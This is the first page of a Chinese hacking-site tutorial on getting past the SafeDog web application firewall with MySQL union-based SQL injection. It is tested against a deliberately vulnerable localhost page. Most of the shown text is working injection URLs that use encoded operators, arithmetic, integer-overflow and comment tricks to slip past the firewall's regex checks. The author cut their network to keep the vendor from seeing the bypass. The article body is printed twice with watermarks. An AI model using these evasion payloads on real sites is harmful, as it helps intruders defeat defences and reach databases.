欢迎来到 无奈人生 安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

MySQL联合注入之绕过安全狗到GetShell

来源: 作者: 时间:2019-02-24 21:00 点击: 我要投稿
广告位API接口通信错误,查看德得广告获取帮助

发现网上公开过安全狗的方法少之又少,而且基本都是给个大概点就结束,本文章是将整个过程记录了一遍,因为一开始我也没想到我能成功的绕过去,大概过程是这样:Mysql基础必须要有–>定位—>fuzz—>得出分析结果–>手工测试—>成功绕过。
网站安全狗:
面向网站安全,包括:网马扫描及查杀(自有引擎,只针对网页木马);网马主动防御功能(可主动拦截网马 上传和访问的动作);防SQL注入功能、防XSS跨站攻击 功能;防盗链防下载;以及防止CC攻击。 
相关代码:

测试过程
为了得到更好的测试,我写了21行的漏洞代码,用来模拟攻击,并且在本机搭建了安全狗,选择了4.0最新版本,在测试的过程中,碰到了各种各样的阻挡,最后成功绕过了安全狗,以下是全部过程(边写文章边绕)。
请求 :http://127.0.0.1/1.php?id=1 and 1=1

判断是否存在SQL注入
我们改成http://127.0.0.1/1.php?id=1and asd #没有被拦
http://127.0.0.1/1.php?id=1 axnxd 1=1 #没有被拦
得出结论 是正则匹配
只要把asd变型 或者 把axnxd 变型即可
http://127.0.0.1/1.php?id=1 %26%26 true #真
http://127.0.0.1/1.php?id=1 %26%26 false #假
http://127.0.0.1/1.php?id=1 %26%26 1 #真
http://127.0.0.1/1.php?id=1 %26%26 0 #假

加上两点:
如果判断SQL注入并且是Int类型注入:
http://127.0.0.1/1.php?id=2-1
由于这个INT注入类型没有进行转义成INT类型
所以就可以操作加减乘除法
http://127.0.0.1/1.php?id=2-1   实际上就成了http://127.0.0.1/1.php?id=1#2减1等于1
这样成功绕过了判断是否存在SQL注入
判断字段:
Order by xx #居然没有被拦

安全狗是昨天(2018年5月16)下载的 由于我怕自己的日志被上传到日志服务器安全人员会进行分析 然后得出绕过安全狗的SQL语句,所以我就断网了。

进行联合注入:

变型之前首先知道要改哪个位置
http://127.0.0.1/1.php?id=1xunion(select1,2)

把注意力转换到X这个字节上。我们可以进行fuzz。但是我个人还是喜欢手工一个一个挨个的试、
这里结合了一篇老外的文章:https://medium.com/bugbountywriteup/sql-injection-in-ctf-bef1ae0c5d9b
原理就是利用INT溢出进行绕过空格



还是被拦截
继续变型
找出关键所在位置
http://127.0.0.1/1.php?id=1e66union(1select1,2)

关键位置在1.这个位置需要变型
http://127.0.0.1/1.php?id=1e66union((select1,2))
http://127.0.0.1/1.php?id=1e66union(/**/select1,2)
http://127.0.0.1/1.php?id=1e66union(/**/select1,2)

[1] [2] [3]  下一页

发现网上公开过安全狗的方法少之又少,而且基本都是给个大概点就结束,本文章是将整个过程记录了一遍,因为一开始我也没想到我能成功的绕过去,大概过程是这样:Mysql基础必须要有–>定位—>fuzz—>得出分析结果–>手工测试—>成功绕过。
网站安全狗:
面向网站安全,包括:网马扫描及查杀(自有引擎,只针对网页木马);网马主动防御功能(可主动拦截网马 上传和访问的动作);防SQL注入功能、防XSS跨站攻击 功能;防盗链防下载;以及防止CC攻击。 
相关代码:

无奈人生安全网


测试过程
为了得到更好的测试,我写了21行的漏洞代码,用来模拟攻击,并且在本机搭建了安全狗,选择了4.0最新版本,在测试的过程中,碰到了各种各样的阻挡,最后成功绕过了安全狗,以下是全部过程(边写文章边绕)。
请求 :http://127.0.0.1/1.php?id=1 and 1=1

判断是否存在SQL注入
我们改成http://127.0.0.1/1.php?id=1and asd #没有被拦
http://127.0.0.1/1.php?id=1 axnxd 1=1 #没有被拦
得出结论 是正则匹配
只要把asd变型 或者 把axnxd 变型即可
http://127.0.0.1/1.php?id=1 %26%26 true #真
http://127.0.0.1/1.php?id=1 %26%26 false #假
http://127.0.0.1/1.php?id=1 %26%26 1 #真
http://127.0.0.1/1.php?id=1 %26%26 0 #假
www.wnhack.com

加上两点:
如果判断SQL注入并且是Int类型注入:
http://127.0.0.1/1.php?id=2-1
由于这个INT注入类型没有进行转义成INT类型
所以就可以操作加减乘除法
http://127.0.0.1/1.php?id=2-1   实际上就成了http://127.0.0.1/1.php?id=1#2减1等于1
这样成功绕过了判断是否存在SQL注入
判断字段:
Order by xx #居然没有被拦

安全狗是昨天(2018年5月16)下载的 由于我怕自己的日志被上传到日志服务器安全人员会进行分析 然后得出绕过安全狗的SQL语句,所以我就断网了。
无奈人生安全网
进行联合注入:

变型之前首先知道要改哪个位置
http://127.0.0.1/1.php?id=1xunion(select1,2)

把注意力转换到X这个字节上。我们可以进行fuzz。但是我个人还是喜欢手工一个一个挨个的试、
这里结合了一篇老外的文章:https://medium.com/bugbountywriteup/sql-injection-in-ctf-bef1ae0c5d9b
原理就是利用INT溢出进行绕过空格

copyright 无奈人生

还是被拦截
继续变型
找出关键所在位置
http://127.0.0.1/1.php?id=1e66union(1select1,2)

关键位置在1.这个位置需要变型
http://127.0.0.1/1.php?id=1e66union((select1,2))
http://127.0.0.1/1.php?id=1e66union(/**/select1,2)
http://127.0.0.1/1.php?id=1e66union(/**/select1,2)
www.wnhack.com

[1] [2] [3]  下一页

www.wnhack.com

。 (责任编辑:admin)
【声明】:无奈人生安全网(http://www.wnhack.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱472701013@qq.com,我们会在最短的时间内进行处理。